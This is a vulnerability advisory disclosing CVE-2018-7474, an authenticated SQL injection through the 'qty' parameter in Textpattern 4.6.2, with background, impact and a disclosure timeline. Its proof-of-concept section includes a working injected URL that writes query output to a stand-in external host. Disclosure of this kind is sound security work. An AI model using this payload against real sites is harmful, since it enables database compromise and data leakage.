TextPattern 4.6.2 - 'qty' SQL Injection

=============================================
MGC ALERT 2018-002
- Original release date: February 12, 2018
- Last revised:  March 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2018-7474
=============================================

I. VULNERABILITY
-------------------------
SQL Injection in Textpattern <= 4.6.2

II. BACKGROUND
-------------------------
Textpattern is a free and open-source content management system (CMS) based
on PHP and MySQL, originally developed by Dean Allen and now developed by
Team Textpattern.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable "qty" on the page
"index.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
SQL injection.

/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50&_txp_token=baa07ba857d3618ef810b725b9d4d9d8

Note: the variable "_txp_token" doest not work as a anti-csrf.

POC:

/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50%20into%20outfile%20'%
5cfakesite.com%5c'%3b%20--%20&_txp_token=baa07ba857d3618ef810b725b9d4d9d8

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Textpattern <= 4.6.2

VII. SOLUTION
-------------------------
Disable website until a fix is available.

VIII. REFERENCES
-------------------------
https://textpattern.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 12, 2018 1: Initial release
March 12, 2018 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
February 12, 2018 2: Send to vendor without response
February 26, 2018 3: Second email to vendor without response
March 12, 2018 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester